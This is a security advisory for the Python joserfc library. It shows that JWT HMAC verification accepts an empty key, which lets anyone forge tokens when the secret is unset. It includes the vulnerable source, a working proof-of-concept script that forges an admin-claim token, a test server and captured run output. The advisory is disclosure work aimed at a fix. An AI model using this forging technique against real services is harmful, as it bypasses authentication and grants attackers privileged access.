CVE-2026-49852

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever
OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:

• OctKey.import_key(os.environ.get("JWT_SECRET", ""))
• A key finder callable that returns "" / None for an unknown kid
• Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
• Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/_rfc7518/jws_algs.py:43-70:

class HMACAlgorithm(JWSAlgModel):
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, sha_type, recommended=False):
        self.name = f"HS{sha_type}"
        self.description = f"HMAC using SHA-{sha_type}"
        self.recommended = recommended
        self.hash_alg = getattr(self, f"SHA{sha_type}")
        self.algorithm_security = sha_type

    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

src/joserfc/_rfc7518/oct_key.py:52-63:

@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if len(key.raw_value) < 14:
        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

def ensure_valid_key!(key)
  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
  raise_verify_error!('HMAC key cannot be empty') if key.empty?
end

invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.

How an empty JWT_SECRET reaches hmac.new

1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"])
   where key = OctKey.import_key("") (or OctKey.import_key(b""),
   or any custom path that yields an OctKey whose raw_value is b"").
2. decode (src/joserfc/jwt.py:86-117) calls _decode_jws(...) →
   deserialize_compact(value, key, algorithms, registry).
3. deserialize_compact (src/joserfc/jws.py) dispatches to
   HMACAlgorithm.verify(signing_input, signature, key).
4. verify calls key.get_op_key("verify") → returns b"".
5. hmac.new(b"", signing_input, sha256).digest() is computed; the
   attacker computed exactly that digest with the same empty key, so
   hmac.compare_digest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())

Server harness:

# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response):
    auth = environ.get("HTTP_AUTHORIZATION", "")
    token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
    key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))  # default = ""
    try:
        tok = jwt.decode(token, key, algorithms=["HS256"])
        c = tok.claims
        body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [body]
    except Exception as e:
        start_response("401 Unauthorized", [("Content-Type", "text/plain")])
        return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()

End-to-end reproduction (against pip install joserfc==1.6.7)

# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
#    state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &   # listens on :8383

# 2. Run the attacker
./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:

Interpretation:

The first row demonstrates that an attacker with zero knowledge of the
verification secret reaches the protected path by signing with the empty
key. The second row confirms the verifier behaves correctly when the
secret is non-empty, proving the bug is gated only on the secret being
empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into
HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch
fix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.